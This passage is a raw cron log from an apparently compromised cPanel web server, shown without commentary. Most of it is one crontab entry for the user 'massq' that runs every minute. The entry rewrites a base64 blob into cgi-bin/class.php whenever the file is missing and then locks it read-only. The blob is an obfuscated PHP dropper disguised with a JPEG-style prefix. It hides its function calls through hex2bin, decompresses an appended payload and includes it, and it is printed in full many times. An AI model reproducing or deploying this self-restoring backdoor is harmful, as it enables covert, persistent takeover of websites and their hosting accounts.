k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:37:01 server CROND[17652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:38:01 server CROND[18461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:39:01 server CROND[19169]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 04:39:01 server CROND[19170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:40:01 server CROND[19779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:40:01 server CROND[19780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:40:01 server CROND[19783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:40:01 server CROND[19784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 04:41:01 server CROND[20620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:42:01 server CROND[21528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:42:01 server CROND[21530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 04:43:01 server CROND[22337]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:44:01 server CROND[23140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:45:01 server CROND[23839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:45:01 server CROND[23842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:45:01 server CROND[23840]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 04:46:01 server CROND[24672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:47:01 server CROND[25623]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:48:01 server CROND[26451]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:49:01 server CROND[27264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 04:50:01 server CROND[28077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 04:50:01 server CROND[28078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 04:50:01 server CROND[28081]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 04:50:01 server CROND[28082]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
